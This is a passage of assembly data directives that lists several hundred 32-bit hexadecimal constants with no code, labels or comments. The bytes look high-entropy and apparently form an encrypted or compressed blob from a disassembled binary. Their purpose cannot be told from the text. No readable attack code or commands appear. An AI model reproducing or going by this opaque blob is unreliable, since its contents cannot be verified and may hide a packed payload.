		dd 0F9C7F6B8h, 928795E5h, 88EFC642h, 0E6946DE2h, 0ED4EF17h
		dd 7C1A3099h, 99E7F79Ah, 0D08FFB0Ch, 1F0A6C6h, 1595084Bh
		dd 0ECE25F00h, 0EEB7D649h, 0A426EBBFh, 0AD98CB30h, 0BCCFB80h
		dd 8073748Ch, 2E80202Bh, 533FC9CDh, 1C5B4DDDh, 7816F198h
		dd 9A8DF457h, 9754C4E9h, 0CC6C7C3Ah, 47562206h,	60AD75D8h
		dd 0B5A46BFFh, 6BE2BAC7h, 1267DC94h, 90ADD49h, 840631Fh
		dd 47236A95h, 0A2395E81h, 0C564E5DEh, 58028AA2h, 6F00A2A7h
		dd 0FB9E0879h, 8B9AF072h, 47C429BBh, 8950C74h, 49A88DA4h
		dd 794688ADh, 4266F1BDh, 0CA0581AAh, 799E2572h,	31B0CB93h
		dd 0EEEDF3F7h, 4420BE00h, 0EF593EE5h, 29B4D364h, 2F9A52DCh
		dd 0FB327064h, 22AC096h, 45EA593Fh, 0F06EDB80h,	6ADB6C9Bh
		dd 0CF8C1532h, 96379E03h, 0A754FB5Dh, 0EFA727AFh, 58D98E9Ah
		dd 0DAEFEE92h, 5B28A949h, 0D5BAC166h, 5EDFCEFh,	3BDFB294h
		dd 9AF59F10h, 0EC815755h, 7B2128FDh, 79F2255Dh,	58CD9C10h
		dd 0F9C6C2AFh, 0C5033A02h, 0B088EEE5h, 64D4A2C3h, 0F2192B2Fh
		dd 0D444878Dh, 26C91B01h, 0C4BB999Bh, 7B58F7AFh, 0ADC597E9h
		dd 1FF38D42h, 57637D1Ch, 0B94683h, 350BEABBh, 32CB3FA4h
		dd 9EA4C63Eh, 0F6149EF5h, 975D811Ah, 0F63CB96Bh, 576ED819h
		dd 0C9352C30h, 0C50DD7C2h, 1E1DD831h, 4DB1261Eh, 39D19F96h
		dd 8C81C3h, 7B2A803Fh, 0B0CE6A10h, 24FDCEB3h, 11BE6E6h
		dd 6B1B1C1h, 0BD01E44Fh, 916FAF9Fh, 0F3767F01h,	0ECA3B3F4h
		dd 6647F77Ah, 0FA2321B9h, 0E02271D8h, 76DBCDC5h, 0B6D2D749h
		dd 0E7485ED0h, 0C0024097h, 0E025D54Ah, 23DFE00h, 4D0F367Bh
		dd 0B1F91ECCh, 1D715C4Ah, 14543541h, 714DDBEEh,	8DF6F0B7h
		dd 583E4B14h, 0B8D065F3h, 0AB4C25CFh, 0F388A3A0h, 0AE2D13A0h
		dd 0B975F53Ah, 910E2DA3h, 2E4989F4h, 0A7448EB8h, 0D9B29C4Eh
		dd 1F31DA1Dh, 4D28B21Bh, 99EA5A13h, 0F0A5209Ah,	0E7D1D625h
		dd 0A988976Fh, 74F17BA3h, 28245557h, 0F29A5B50h, 9EE5ED1Dh
		dd 0DFF16F4h, 2396A667h, 9B48E26Ah, 678A15DBh, 95995C4h
		dd 0DEBAAD11h, 0ABEF93D3h, 0D8CF9E81h, 9031414h, 953CD2C5h
		dd 70844814h, 1DEAA323h, 737E4143h, 840A46E7h, 0CB19F268h
		dd 53F0B5ABh, 4CBB0EFDh, 828D99C7h, 4CD2974Eh, 26F8E72h
		dd 0A1A05C4Ah, 0A9CDB193h, 0A263812h, 0C1CF0BF1h, 212AD518h
		dd 2EBA891Ch, 0B7C4402Fh, 6C284D6Eh, 6A81A7EFh,	0B9EEDC23h
		dd 59593040h, 0D92CD4C1h, 88CD7400h, 5EFACB7Dh,	0B5F928E8h
		dd 0B5C2C498h, 53D06D43h, 0F8A3DF32h, 6C105C1Dh, 0EFDFAC65h
		dd 4C30B1B0h, 3C792206h, 7F6B4CFFh, 22F647FCh, 5D714D25h
		dd 0FCDACDC5h, 0EE524EAFh, 4B79AFD2h, 9968726Fh, 15634FB0h
		dd 2E3A3D10h, 0D1231D00h, 0C21BB0A3h, 0E79F6CBBh, 8E06CBF1h
		dd 44A20D8Bh, 246349A1h, 558B39DFh, 569145A3h, 0F37E8E0h
		dd 0FBFDED67h, 0BF1FB6B4h, 0F52FBB09h, 64018A53h, 6558C3EEh
		dd 0D97BDF98h, 163B4ABDh, 2EBA661Fh, 0DC16B273h, 66B70D6Bh
		dd 0FAAC80EFh, 0F1FE319Fh, 72F58139h, 6A9AB7E2h, 0B3ACE07Dh
		dd 183448BEh, 0CEFA67DFh, 9E2FC0EBh, 53F42F0Dh,	58FCB105h
		dd 0C9DC9134h, 9837592Bh, 0C2B81C9Dh, 6A0BC305h, 0B23442F3h
		dd 4B3132E4h, 9CED00B1h, 0B51CA91Fh, 0FAED12FEh, 0AAF081C1h
		dd 0A34260B6h, 8539A76Dh, 0BB844553h, 0C35630B0h, 0C826E59Ah
		dd 1278A10h, 49F75349h,	0B83D1B26h, 39A652F1h, 0AC4E84ECh
		dd 0F8A4EA52h, 94075539h, 0AB07C140h, 60C8FAB7h, 2840EDBh
		dd 0D78EE8B9h, 94795A07h, 942C12A3h, 1F3BED6Eh,	0B4F87C54h
		dd 413FF6F0h, 0BE48E925h, 0D5F47BFEh, 0E459F540h, 21985A30h
		dd 8721BF16h, 131779C1h, 0FC4BB91Fh, 4C0A0635h,	5B80BB77h
		dd 39909E86h, 3772EDD0h, 0BA23DB4Fh, 92BE2DA0h,	7710DEDDh
		dd 376BDBC4h, 4052E981h, 93B53FD4h, 7D81CDA9h, 496D8C0Ch
		dd 0D1DA5AC7h, 0FF8FB0C9h, 809EED36h, 113EAC75h, 280AA13Fh
		dd 2731D28Bh, 69D119CFh, 0A92F4FC8h, 0E29622E0h, 7662CF1Dh
		dd 891B38C0h, 0B32E58DFh, 0EA4991B6h, 209B9243h, 0C5B23E15h
		dd 0A0463E3Ah, 8D236AB5h, 764E54C1h, 0E7350E8Dh, 0D2782793h
		dd 18E0D6D0h, 0EFB57DE2h, 0D5C5D859h, 0D6914AAEh, 6A574FBEh
		dd 7CC31CC2h, 0C7BA3284h, 7E56DF96h, 96E715C2h,	1307F18Fh
		dd 0B5ADEBC9h, 12984D04h, 67FD25Bh, 8A6FD0D1h, 0A3DF1D84h
		dd 27393F0h, 0E77F84EDh, 6C0207FBh, 0BF6855D3h,	2B01D04h
		dd 0C9A4E963h, 234D8610h, 301820Ch, 0EC4CF6DFh,	0CA710AD9h
		dd 0A7B930B7h, 9F8FC1D9h, 0F714825Dh, 9B05CFB4h, 1E3CA70Ah
		dd 0F0BAF911h, 167C397Dh, 0CEA7072Bh, 0F4962E10h, 0B384EF27h
		dd 0B668F63Bh, 0B4A562DEh, 175B05Ah, 0F72291C1h, 0BC7C8ED5h
		dd 3DDA5E53h, 58996AFDh, 89B86D87h, 72C184A0h, 5393B5B9h
		dd 0A99627C6h, 0FA01BD1h, 3A71B143h, 40FE1F20h,	15CF8F5h
		dd 0C83FAB7Fh, 0BDC15h,	66A800FAh, 75CC764Eh, 0C6069F8Fh
		dd 5C74470Eh, 0F5FA95CCh, 35A0869Bh, 30B959DCh,	0A56AA4D5h
		dd 29E99677h, 96453E05h, 79B466E2h, 58EC4A9Ah, 24B5AFC2h
		dd 9A363A40h, 65B37F5h,	0E1E7F7A2h, 42567277h, 25592F63h
		dd 2630A916h, 60E12A61h, 2BAEBC1Eh, 0A571662Dh,	5C151D3Bh
		dd 0C93853A5h, 9EEF16C9h, 3405E59Ch, 63889CB8h,	26F6BC25h
		dd 5701130Ch, 3DDDDFFCh, 13CD011Ah, 15737FF0h, 639E7FFFh
		dd 0A2D11D5Bh, 203C502Bh, 0ACDFC3BCh, 0DEB30AC6h, 435DC9A7h
		dd 0AA182D99h, 0E6493F24h, 0CCBCF7E2h, 968D47B8h, 0C69126FEh
		dd 0A8747FD4h, 7730CDECh, 654AF8E3h, 888C325Ch,	9A1E7724h
		dd 9129F748h, 7042E361h, 1753512Bh, 61006CD9h, 0DB3404B3h
		dd 6D5168FBh, 2778723h,	4FB50B71h, 0D0DB2283h, 0EA68BFA3h
		dd 97DE05ADh, 0FF97E907h, 93108D05h, 0DEA9D0A3h, 8462833Bh
		dd 0B0521A5Eh, 0F7EF8235h, 5ED5298Dh, 0DD0C62C4h, 0E409298Dh
		dd 0D6A0AF0Dh, 67116E7Eh, 39358180h, 0FB14E412h, 0F1059B8Ah
		dd 194ABFh, 6649AE22h, 0EF00327Bh, 0B5280641h, 0B9B4A045h
		dd 8970C9B9h, 0D6F7548Bh, 5D0DC08Fh, 8F5CF7D5h,	0C6A1F654h
		dd 0F8E5DFCFh, 0C44D6CAAh, 0F1DB3BF6h, 2791F07Eh, 8D459F67h
		dd 1C406916h, 0C4F992E6h, 0E8388EE7h, 3E3E6604h, 974F526Ch
		dd 99630923h, 0C2BD285Bh, 662D29E2h, 75A2569Fh,	0D5DB2AB2h
		dd 608C799Dh, 0A0908B7Ah, 6FA14D6Dh, 0BE5389ADh, 6F65DC66h
		dd 17C79C53h, 80C21F5Ah, 76CF4A1h, 2AF8D226h, 661683A4h
		dd 0EF0B4C03h, 60C56133h, 1007B280h, 706ABD04h,	21E40736h
		dd 0CA567ED9h, 0FBD87B00h, 7594EE3Eh, 85250AC9h, 1169215Ch
		dd 0D5132779h, 0AC6C7AC4h
		dd 6713C7E2h, 0E0DD52B9h, 493B00E2h, 58ABFEC4h,	0BFDF11CCh
		dd 38809355h, 2CBD71F5h, 36B9AB3h, 43A024DBh, 0F2D189DFh
		dd 9F731ED6h, 0C70E7BC3h, 0D1B508B0h, 730483CAh, 0AC38E872h
		dd 0D5122B7h, 3665EECBh, 9A3CB462h, 8BD13132h, 5601CFDAh
		dd 301BAB8Ch, 0B3F52814h, 5FD75D2Bh, 0B809F643h, 0E8B09982h
		dd 27CA9337h, 228977BBh, 0D22C31C2h, 2B9D382h, 843D107Dh
		dd 0F4093881h, 0E7C31E92h, 3F5B57DDh, 0BA40CBF1h, 9104DCBFh
		dd 69E2C2DCh, 8A598D7Eh, 0D9D041Fh, 470E2379h, 89F800DBh
		dd 93B6D16Bh, 0FB5CDF60h, 0DB41866Bh, 3FEB8B2Ch, 7184995Eh
		dd 53D289Fh, 2E4DB559h,	51810A92h, 6DD6233Eh, 2F8BC90h
		dd 93D2F146h, 0F2C44F33h, 0E190905h, 0B3F923DFh, 0D00A103Ch
		dd 63BC4D00h, 0D1C5B815h, 0A68F4B04h, 383B3697h, 9EBE64D2h
		dd 250B0372h, 49082894h, 0F1F3F9E3h, 97EA86F9h,	360D0E36h
		dd 96D3225Fh, 980D6E5Ch, 9D9A15F7h, 2640BF93h, 0EDAB754h
		dd 19CD44ADh, 0E8A47C93h, 200B1AC6h, 0CF2052A9h, 6D624591h
		dd 94D3A2B1h, 557FDF90h, 6522C1A6h, 0D2AA65AAh,	320858C8h
		dd 0EADC4CBAh, 7D153435h, 8286FA09h, 4950259Ah,	0DA02C7A3h
		dd 6BEAF64h, 0AE41A6D0h, 0C54643DDh, 2C2F00E7h,	0AB9928EEh
		dd 21FD817h, 9078856h, 3DF98858h, 90359D52h, 0E13089CAh
		dd 0B9068E28h, 3AAC7EBEh, 0C5E1E912h, 0AC10ACB4h, 0EF50EDF8h
		dd 0B3567737h, 0A90FC316h, 1778372Ah, 0D666F064h, 78239337h
		dd 94B4864Fh, 7D938FA0h, 55E99736h, 0A14BBA3Ah,	0F2C41A64h
		dd 3865E554h, 9D80B442h, 0AB312536h, 0EC2DDD47h, 213D72D7h
		dd 8CBF58E2h, 0D6C3B792h, 0DF93E21Dh, 7CE9613Ah, 899CC3FFh
		dd 87DDC1C7h, 73C9D346h, 601B94FDh, 0DE8A3C93h,	6C5482E8h
		dd 0A9F52A85h, 0B94C9814h, 6259CBE1h, 0AE361CF7h, 4EE8F4ACh
		dd 22E833A6h, 546F5FC9h, 8CA8E8Bh, 0B8D224F4h, 1A0E25D6h
		dd 0EC1C5F40h, 0D8E2C472h, 8D838319h, 33453246h, 0D5FC8E1Ah
		dd 0F3C1E7DDh, 0ACDB89CAh, 82B3317Ch, 36600365h, 0CE5FD7A3h
		dd 6E031C5Ch, 1ACCD0B4h, 2EAE56CAh, 220BE9D3h, 863540AAh
		dd 7D132037h, 0DDFB94ABh, 2CD9A319h, 60763674h,	4C86DDFEh
		dd 0C1591AE1h, 20314FC5h, 30E1BF8Bh, 5026F9C2h,	30B8C216h
		dd 0E6922478h, 0CE153F8Bh, 510C4CFAh, 73F7B63Ch, 0EBC7210h
		dd 8DE64EF7h, 84D61118h, 0C3429D9Bh, 828D6889h,	900C093Eh
		dd 0A891BF64h, 0E8E34B60h, 0D82F51AFh, 0A60A1D35h, 2C3553E8h
		dd 6D5B1EF3h, 80CFDF3Ch, 366E2B24h, 6E468C47h, 0AFFCBB02h
		dd 27806DBDh, 83129A8Ah, 1860A9D6h, 0F7C0ACB7h,	8074CF1Bh
		dd 1AAF2F78h, 7473FDF6h, 576252C9h, 0C5433260h,	0E053B627h
		dd 185D584Ch, 0D867ABCBh, 4EB7EB64h, 350D48BFh,	9E537684h
		dd 0EF81FF4Eh, 649F664Bh, 0A5A980F9h, 0BDF5BFDAh, 0C3940285h
		dd 70EC5EB3h, 0E91F5488h, 172E9BF5h, 970BE3FAh,	59AB46BDh
		dd 0EA3FAB6Fh, 27E01B2Ch, 5D091C6Ah, 0A37BA4D4h, 0F1DC8B1Bh
		dd 1C501E2h, 598E7907h,	387FB356h, 8085030Bh, 711350DBh
		dd 0B37493ABh, 0C1EBD5CBh, 24F3B137h, 0FFE78FCFh, 0C6A7E2F3h
		dd 0DAA3429Fh, 0F910F6B5h, 61EC8EE2h, 0E7680A37h, 0C1ED0CDh
		dd 0C1559096h, 0DBC9DD7Ch, 0FF29D7E1h, 0A750EA39h, 79F3AC7Eh
		dd 619F9Ah, 12F1A8EEh, 6E7B9167h, 862358DAh, 0F774581Eh
		dd 0A1C47059h, 0CF39993Ah, 0B6451079h, 83E41103h, 0FF6181E6h
		dd 98DE7EAEh, 0A26A3F25h, 76C2E16Bh, 0CD518DB0h, 8CBA299Fh
		dd 619F108Dh, 5A2132EFh, 870A3E0h, 0DD4E2559h, 0DD7A4BDEh
		dd 89E3CF20h, 0F55AA750h, 7712AA0Eh, 864D3B8Bh,	8B086044h
		dd 0BC3959F2h, 0D6212EF1h, 170C0021h, 1F1A2A15h, 0E785483Fh
		dd 21054EF0h, 5E613D5Eh, 6E10373Eh, 54744C2h, 0C9986065h
		dd 7529E0F1h, 9718CC7Bh, 55E5C0B1h, 1D790B8Fh, 0ADF8FA04h
		dd 137A1979h, 134D6DE9h, 0A52A5EC3h, 338F03D5h,	3F32CEDEh
		dd 211E4404h, 99E2744Ah, 0CFDB2C9Dh, 4EDC47D6h,	0EEE50942h
		dd 53C04D03h, 96C35520h, 0F47E85F8h, 0FB756562h, 53996FDh
		dd 66C62747h, 76EF0DA9h, 0B67204D1h, 0EAEE8F59h, 0BCCCDE96h
		dd 753696F5h, 0D552F4DCh, 0BFE34EC6h, 265AA18Ch, 0D772DD8Eh
		dd 0E2A1228Bh, 1DC38363h, 60A2917Bh, 7EC1D295h,	0F5F1726h
		dd 0DE6946F2h, 1CD45A4Ch, 9C1635EEh, 0F2C9429Dh, 1DBC64CAh
		dd 930BC3ADh, 4BB36675h, 0F6241C8Fh, 6D5FC9FDh,	110B72Eh
		dd 0B0B07D04h, 6090D8C0h, 16FDE59Fh, 0E36B87Ah,	0C33BC8E5h
		dd 9A8C3D26h, 0B225AB5Bh, 0C881EA06h, 5D44439Fh, 8786B011h
		dd 0D3C75B06h, 0C8291319h, 0ADBDB636h, 0D5A931FBh, 2448D74h
		dd 2549E2C2h, 79ED264Bh, 5CD8A0DFh, 5B3DCDF1h, 200A4113h
		dd 4AF6DE59h, 691B51C8h, 9F332427h, 0B471225Bh,	8CE4B1h
		dd 0A30209F6h, 0C9BB4F09h, 41E541F1h, 364BEEF7h, 7594F6F6h
		dd 40EC9C48h, 0C0D23C31h, 4D42033Eh, 4421005Ch,	0A42E95B9h
		dd 0E2346EF9h, 0E43BE7A0h, 8C8817A2h, 0E6EBB4E1h, 0C43D1A18h
		dd 63BD648Fh, 0E8258EBEh, 3F96458Eh, 2A91D8CCh,	0D5E8DA08h
		dd 0F2EF5EAh, 0A5A2B2D4h, 68816AC7h, 3CC73C61h,	8B517D7Ch
		dd 0D1F32098h, 400DC24Fh, 5589D0D8h, 404BCCEFh,	99E1BB56h
		dd 2DE4D8F3h, 0FCFBEE29h, 0C24286FFh, 49563769h, 638096DCh
		dd 92D8A1Ch, 9411095Ah,	0D80F17CCh, 2E3D46BEh, 128F573Bh
		dd 3EF19E7h, 61A30DD9h,	0AFD03D8Fh, 0C840251h, 0CDC97A7h
		dd 8DBBFED2h, 0B8621732h, 0FF10445Bh, 0E88E02C8h, 0C5B1B84Fh
		dd 613CECD6h, 54C3EC20h, 9B8EAC58h, 0C6E86163h,	0C47F6138h
		dd 0ECADAA8Bh, 3892D5AAh, 9E3FC537h, 916063B2h,	15CAD30h
		dd 0C4E504BFh, 28CC5AE1h, 87F3729Fh, 0B3396E01h, 490FE28h
		dd 0FA31892Eh, 0ABFACA84h, 641139FAh, 0A93DAED6h, 41F8B59Ah
		dd 0DB4922DFh, 88B9B5DCh, 3F3C2D51h, 0F5290A7Eh, 8F50D1Fh
		dd 96A5F547h, 6B24733Eh, 0E868E84Bh, 2F3F5039h,	0A9F978C0h
		dd 0EB43028Dh, 0CDFD4B36h, 3FD6328Fh, 4126E93Eh, 2654C50Bh
		dd 50DEF4AEh, 54B2B7AAh, 7DF53181h, 0D3E55BE1h,	17B41EA2h
		dd 39EEA197h, 0C1EC8866h, 757E009Ah, 46BCB039h,	92810EB6h
		dd 0D88E7485h, 9A616730h, 73613005h, 0E08D391Ch, 0DA7620AFh
		dd 47959293h, 87DCE5EFh, 98465181h, 0B025A89Eh,	966B9AE4h
		dd 924AC5DCh, 653B13A3h, 0DCFB9716h, 2D4F81D3h,	3D0EAD0h
		dd 0E0931D2Eh, 0B95790Ah, 5B1F22C6h, 56A31089h,	0AE4B427Eh
		dd 5C1A53F3h, 0B87022D3h, 0D7F218BEh, 0F33E89AEh, 0A40F042h
		dd 57359EAh, 0E714E8C7h, 0F8A4DE4Ah, 0C530C192h, 2DBCAF2Bh
		dd 3396611Bh, 0B1E7052Ch, 0AA41DCD2h, 0FAB99F85h, 356E6F2Eh
		dd 8EA96BCh, 17A6A07h, 0F8299C4h, 9F4075E9h, 0F5F51121h
		dd 6764A8B7h, 0ACA45A51h, 0CAB75A11h, 0BE0F5331h, 0A78F6937h
		dd 359EA17Ch, 0B04EDA3Dh, 1FB6A149h, 0DECDD1E4h, 0F58A98FBh
		dd 0C7BD3FBFh, 0E91C7999h, 0FA43E680h, 9167E66Fh, 0E13DE3DAh
		dd 7864A95h, 0BC7129C8h, 997EB296h, 44618B43h, 0E99F8378h
		dd 5F774C8Fh, 2DE779E3h, 7F658660h, 313DDAABh, 0F868544Ch
		dd 0B917D640h, 43A12581h, 3F9E96CFh, 6948F36h, 5765B14Ch
		dd 0D2CAAADDh, 0CF601AEAh, 4E2F4CA3h, 0DDEE227Bh, 21BB7F05h
		dd 0E1045EECh, 469EC5B7h, 619F829h, 0A329058h, 7F9DCC98h
		dd 0CCEEBE59h, 0C7CD89DBh
		dd 36A7438Fh, 4232691Fh, 91DA6A03h, 0EA333E3Ch,	8E1826FAh
		dd 6C37D5C9h, 8D64A69h,	0CC3454C0h, 0B0865819h,	170E7F56h
		dd 106678AEh, 0B63FD3FBh, 279B128Eh, 8C09EC08h,	686A3B3Bh
		dd 5EF1C8E4h, 785B43E8h, 2E1EBD61h, 3000EB6Fh, 0D46E3E67h
		dd 8F32EF7Fh, 4B94D504h, 74A9F373h, 0F1E83EF9h,	1718B3E9h
		dd 81D4C59h, 0FDF6DD65h, 0F56901E8h, 0D340BC52h, 63313C89h
		dd 0A7BB4576h, 0E81AFBDh, 0D90C8798h, 44E764AEh, 0BB069DB7h
		dd 439C75h, 0AFB0FE5h, 30116958h, 0C3A08998h, 62322689h
		dd 8F737C71h, 0E3B8BC20h, 0F3000E92h, 72400B2h,	0F6BA03EAh
		dd 0F2119BB8h, 94512AABh, 0E0F736C2h, 0BD8E561Ch, 0EB5AA6F6h
		dd 787149A1h, 84F91B18h, 2AB1A9A2h, 62CB7A05h, 0C91E9AA9h
		dd 0BECD54ABh, 71E13F14h, 48DC5541h, 9D61A66Ch,	58974BDEh
		dd 8ECA2237h, 80B652ADh, 89F9557Dh, 6A33A08Eh, 0E2EE23E2h
		dd 0E654EE6h, 0E64833D1h, 33F9E79Dh, 322ADE28h,	803F9E1Eh
		dd 758BFB41h, 1110EC35h, 8C0D61E8h, 9AD810B4h, 8D740FC5h
		dd 0FC058FF1h, 0FE5A3B0Ch, 25295DA6h, 4DD346B7h, 0F71CB16Fh
		dd 248EAD02h, 35CF1532h, 98474F5Ch, 37BE1697h, 2C0DF28Bh
		dd 0CEA5E2C8h, 4E08B4D6h, 456DC252h, 0D48C83Ch,	0B028772Dh
		dd 0A6D94715h, 3674294Bh, 0BC38A76Eh, 0A21EB51Fh, 0A8921BFBh
		dd 12856DBDh, 7703191Ch, 1BE88278h, 3348D0C8h, 0FFA158F9h
		dd 0A7D3AF4h, 80019A3Bh, 166CD0EDh, 0F2B5AA28h,	0E1F318BCh
		dd 0FE3DCFB5h, 4839AE54h, 0E71E96F0h, 0C99C4654h, 0D7DCA38Eh
		dd 319C62BDh, 90B09C56h, 0FE1F7380h, 9A5961B3h,	208756D5h
		dd 8B9D8E11h, 0C8356EA9h, 0E3BD508Ch, 0B4AA9CF5h, 0B1AA7C05h
		dd 1BA86824h, 75098F5Eh, 460025C1h, 76EDC7Bh, 0C0AA92Ah
		dd 384B7BCEh, 0A9D3C58Ch, 0EA00F475h, 0C3970724h, 5087FA40h
		dd 6908F487h, 0EAFED2D5h, 9429C037h, 55F84716h,	0FFBA5022h
		dd 25EEDAF8h, 4BD95D2Dh, 26F5EC23h, 2D35EFBBh, 3EE24F27h
		dd 4A5490ACh, 39BC510Bh, 0B6B8953Ah, 0B406B645h, 5A05E6C9h
		dd 0CBC00A2h, 526209E6h, 2706B354h, 33282D85h, 0D2BF816Ah
		dd 120A454Fh, 0B720353Ch, 17C270B2h, 0A846F1CAh, 0A22BFB66h
		dd 6F1350F2h, 1746044h,	0A6722615h, 0FFE60A3Bh,	22E942D1h
		dd 9D34A00Ch, 0F6BC1AACh, 610E3EE3h, 0DFDAE41Bh, 7F22147Bh
		dd 0A0ED5239h, 2AFD1672h, 0AB5D73CBh, 0ADDCFEB9h, 957BDA7Dh
		dd 0CDA498D1h, 50EF01CBh, 2E95A9Bh, 6462165h, 0E1438E5Dh
		dd 592858B6h, 1D5EF32Dh, 0A9140555h, 0A6CB4950h, 0D5C6362Ah
		dd 0CBA27629h, 0E0FC81DCh, 114A3F82h, 0A28AA146h, 54CB9228h
		dd 533E7EECh, 0F93C4E9Ch, 7BCD23A5h, 25476D56h,	6D6932DBh
		dd 59209DEAh, 3D5145BDh, 0FAEB228Ch, 0CEA1174Eh, 5E4B5FDFh
		dd 136301E4h, 10C990FFh, 129A1E84h, 0F8F17D3Ah,	0DCD93F7Ah
		dd 0AE3607D0h, 0E5808DC6h, 247379C5h, 926804FAh, 3FDFCB53h
		dd 0F4C57F17h, 8A7BFEA8h, 0F884E6E6h, 11EE04D9h, 0FD559FB1h
		dd 0AABA196Eh, 3DAE347Ch, 89FCD619h, 8F100C64h,	2CFEADBFh
		dd 0DD6140ECh, 9DE190C5h, 1A178FF9h, 4CA1A329h,	0E629A5EBh
		dd 0CADECA4Ah, 0A8D56AEAh, 1C3337FEh, 0D7DF4CA2h, 59160575h
		dd 2C328D7Dh, 891CAD4Dh, 0A57E030Bh, 658B810h, 9CFCA71Ch
		dd 0C8E63086h, 7159C283h, 90F2F36Ch, 0AB46AC61h, 12750A7Ah
		dd 1380EAA4h, 58862D3Eh, 0DD872492h, 3C2E7E8Bh,	860F8C33h
		dd 0D3FBBB9Eh, 55E9D592h, 5C209CA9h, 0F4F41F63h, 0C58CADAFh
		dd 89805A4Ch, 458C6h, 54FF7B2Bh, 0B2DD030Fh, 210FDE28h
		dd 8F2EB1A9h, 0BC8198E9h, 10E996F3h, 0D9455144h, 0EC83165Ah
		dd 0ACFEE056h, 3EF78D20h, 0E1E57786h, 2475EE12h, 5BAE91CBh
		dd 79B7F9DEh, 6942FE0h,	0B1E3D47Bh, 783603Bh, 1D6CADB5h
		dd 885AF6E8h, 55356E96h, 0EF698447h, 20A33DC9h,	0E8FF048Dh
		dd 0C72F810Dh, 68633853h, 3C000AE3h, 1B63F543h,	0C19DBF4Eh
		dd 6BBC6B64h, 0B16E650Ch, 42F1A372h, 0BCCF5DDAh, 76EE9222h
		dd 0E57A11DBh, 82EF7754h, 0A1DFC87Bh, 4108738Fh, 0BF6B8973h
		dd 58E33FC8h, 285DE013h, 0FEDEDF9Bh, 0B1CA5B5Ch, 3FCFF28h
		dd 0E5FEF00Dh, 8CFA4EF1h, 8C140FD8h, 68FDABA3h,	0D30A3235h
		dd 0F6AED3Dh, 807B24AAh, 23AA230Ch, 4CD09EC7h, 4A0DF4F8h
		dd 7EAECE01h, 98CADD3Bh, 6FD7B174h, 7F89C66h, 3F8AE589h
		dd 9C1392AFh, 0C78B646Fh, 2E1AC21Fh, 2425EA78h,	0B613ABE0h
		dd 827A2C4Fh, 6AFDBAD8h, 0C911A7F6h, 41F08850h,	9FF92FC3h
		dd 1B23F1F1h, 6CDA12F6h, 0E52E5EA5h, 0BC1BE1ADh, 0D4229587h
		dd 0ECAD7CA7h, 0B462C9FDh, 13200012h, 0E609C53h, 0B9AC2D58h
		dd 77961006h, 0C97225C6h, 0AC566C36h, 0D37B5918h, 0F1A969F0h
		dd 4F07F3B2h, 647132DEh, 4A42B140h, 10560D14h, 3F20F8B5h
		dd 50A01255h, 0E3F7ED44h, 25A42E5Ah, 0C78F0604h, 28EC614h
		dd 0D90C9B61h, 503E49F2h, 0FBF90657h, 1A7FC355h, 491FC184h
		dd 32C5AE91h, 0FB5A5D02h, 0C0A83F0Eh, 0E8C2AD97h, 9A112E5Fh
		dd 72B1765Ch, 86AD22DEh, 13AD4643h, 870DACC4h, 37C456B7h
		dd 3959C32Dh, 0A853D03Fh, 901CAB8Ch, 0EBC86736h, 13A25F95h
		dd 0EE3D6F31h, 3ECC5C1Dh, 0CD1E70CBh, 94396426h, 805EF217h
		dd 47CFF9A4h, 6CD7B067h, 7132796Bh, 908BADD6h, 44C0DC72h
		dd 0BBD79A90h, 0B8206C41h, 7D9FDAF0h, 6DE7B09Bh, 56DFA62h
		dd 0E9661B66h, 72FE27F1h, 0ABE342C6h, 0A8511E68h, 95744987h
		dd 0CA9E74E2h, 0D171BE13h, 0D065EBCAh, 3D2FCB64h, 3FF7D5E3h
		dd 253B4C58h, 9D9DDDCFh, 1A6897BEh, 0EA59CA78h,	1F4436D3h
		dd 0DEE4994Bh, 926BF70Bh, 1F50ED0Eh, 918A1551h,	51142907h
		dd 7DD0F252h, 2F20F595h, 0D995E685h, 0A0B012F0h, 988A7043h
		dd 4326895Fh, 869260BDh, 9337D65Eh, 54B22671h, 889AE7CEh
		dd 24B24B93h, 48880100h, 8B30F38Bh, 0CCA790Dh, 30717164h
		dd 1FABE5CEh, 9C0AE3B8h, 683A31ADh, 10184D77h, 3CA4BDA2h
		dd 9A86B8F1h, 0DCF87E43h, 740E433Fh, 0F885907Eh, 74376058h
		dd 0B10A4971h, 57736D0h, 8E1CDB9Ch, 0A9DBFA84h,	0FC1B986Bh
		dd 0D3612E66h, 0F101261Fh, 823CEE25h, 0D15CF39Fh, 0FA1873D8h
		dd 9CF98E5Ah, 0E63746DCh, 0DCACB96h, 47BCA35h, 0BBC67622h
		dd 0BB9FDAh, 59C498EFh,	90D62BF5h, 9ED7D937h, 0C48DEED5h
		dd 7709F860h, 4B27D18Ch, 0ACA2CEC9h, 0D1DB876Dh, 81288F94h
		dd 0AAF7C7A5h, 67DA3295h, 0F18DDE40h, 0D2A40DE6h, 4330A370h
		dd 76C12D24h, 23D3962h,	0A04C89Ch, 0F1D1BAC5h, 9B098672h
		dd 5953D167h, 0C832D394h, 46D88DA8h, 0CE0F1E2h,	0F47BA60Eh
		dd 362AD25Bh, 5408D2F5h, 0EFE41189h, 90D38012h,	0B7069C47h
		dd 0B1109469h, 0F2616850h, 988E25E4h, 8674BCE0h, 0EBE0B08Ch
		dd 0E40264ADh, 37176B43h, 79E65195h, 0BC5C6A57h, 945511FAh
		dd 0FCDC57Ch, 3948A58Bh, 6749FAE7h, 0EE4067D5h,	6A225F83h
		dd 578ED4F7h, 0BC8E858Ah, 0D80A42A4h, 0AD9717AFh, 1319A64Eh
		dd 66A70B30h, 0D5CAE979h, 0C47ED179h, 0FD7167ECh, 0AB73389Fh
		dd 5BD8CD2Fh, 53A046h, 0FAD858B7h, 0D22841CCh, 870B7826h
		dd 0B21C59C5h, 81E6B9FAh, 83E0D97Ch, 584BB7F4h,	0F703BB03h
		dd 13D69B02h, 63528B5Fh, 7A71F612h, 4DB124DAh, 54B8F5ECh
		dd 0AF158803h, 71B59DD9h, 0F5EAB02Bh, 9BF57546h, 0A60B6281h
		dd 0A35BCEE2h, 9A2608C0h
		dd 79C3921Ch, 0A2D16BC6h, 6A5AEAC5h, 20CE0068h,	813E897Ah
		dd 25622B80h, 94A5B28Bh, 8D6565D2h, 0B2CB786h, 0D715B30Bh
		dd 0A0B79B57h, 0A6B7DC29h, 8C344407h, 0B77BACE2h, 11CA6017h
		dd 1C5B7AF7h, 2195197Ah, 3D8B4025h, 4C3242ACh, 13372E82h
		dd 886EE046h, 0EE404ADh, 0BF701E9Bh, 95F84938h,	2B2852Eh
		dd 9DDBBE50h, 6E587C89h, 767C8AB4h, 4DF1F10Ch, 0FBD31930h
